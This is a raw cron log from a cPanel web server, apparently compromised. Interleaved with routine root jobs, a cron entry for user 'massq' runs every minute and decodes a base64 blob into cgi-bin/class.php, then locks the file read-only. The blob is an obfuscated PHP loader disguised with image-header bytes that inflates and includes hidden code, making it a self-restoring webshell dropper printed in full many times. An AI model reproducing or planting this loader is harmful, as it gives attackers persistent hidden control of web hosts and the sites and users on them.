A7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:40:01 server CROND[4285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:40:01 server CROND[4282]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:41:01 server CROND[5146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:41:01 server CROND[5147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:41:01 server CROND[5148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:42:01 server CROND[5464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:42:01 server CROND[5465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:42:01 server CROND[5466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:42:01 server CROND[5467]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:43:01 server CROND[5909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:43:01 server CROND[5908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:43:01 server CROND[5910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:44:01 server CROND[6382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:44:01 server CROND[6383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:44:01 server CROND[6384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:45:01 server CROND[6886]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:45:01 server CROND[6887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:45:01 server CROND[6890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:45:01 server CROND[6891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:45:01 server CROND[6893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:45:01 server CROND[6894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:45:01 server CROND[6896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:46:01 server CROND[7783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:46:01 server CROND[7784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:46:01 server CROND[7785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:47:01 server CROND[8160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:47:01 server CROND[8161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:47:01 server CROND[8162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:48:01 server CROND[8561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:48:01 server CROND[8560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:48:01 server CROND[8562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:49:01 server CROND[8938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:49:01 server CROND[8939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:49:01 server CROND[8941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:50:01 server CROND[9437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:50:01 server CROND[9452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:50:01 server CROND[9453]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:50:01 server CROND[9460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:50:01 server CROND[9463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:50:01 server CROND[9462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:50:01 server CROND[9459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:50:01 server CROND[9458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:50:01 server CROND[9461]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:51:01 server CROND[10299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:51:01 server CROND[10300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:51:01 server CROND[10301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:52:01 server CROND[10685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:52:01 server CROND[10686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:52:01 server CROND[10687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tb